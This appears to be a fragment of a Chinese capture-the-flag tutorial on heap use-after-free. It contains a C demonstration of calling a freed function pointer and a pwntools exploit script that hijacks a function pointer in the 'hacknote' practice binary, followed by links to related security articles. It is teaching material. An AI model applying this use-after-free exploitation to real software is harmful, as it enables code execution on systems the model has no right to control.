#include <stdio.h> void func1(){    printf("func1\n");} void hack(){    printf("hack\n");} struct Pfunc{    void (*p)();};  int main(){    struct Pfunc* lpfunc = malloc(8);    lpfunc->p = func1;    lpfunc->p();     free(lpfunc);      long* hack_point = malloc(8);    *hack_point = hack;     lpfunc->p();    return 0;}

struct chunk{    size_t 暂时不管;    size_t size;//低3位不算长度    char user_data[0];}

from pwn import * context.log_level = 'debug' sh = process("./hacknote")# sh = gdb.debug("./hacknote", "b *add_note\nc")elf = ELF("./hacknote")  def add_note(size, note=b"123"):    sh.sendlineafter(b"Your choice :", b"1")    sh.sendlineafter(b"Note size :", str(size).encode())    sh.sendlineafter(b"Content :", note) def del_note(index):    sh.sendlineafter(b"Your choice :", b"2")    sh.sendlineafter(b"Index :", str(index).encode()) def print_note(index):    sh.sendlineafter(b"Your choice :", b"3")    sh.sendlineafter(b"Index :", str(index).encode()) add_note(24)add_note(24) del_note(0)del_note(1) add_note(8, p32(elf.sym["magic"]))print_note(0) sh.interactive()pause()

# 往期推荐

1.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

2.PWN学习笔记【格式化字符串漏洞练习】

3.2022 CISCN初赛 Satool

4.练习1个Kimsuky样本

5.SVC的TraceHook沙箱的实现&无痕Hook实现思路

6.补丁分析到滥用GDI对象提权实践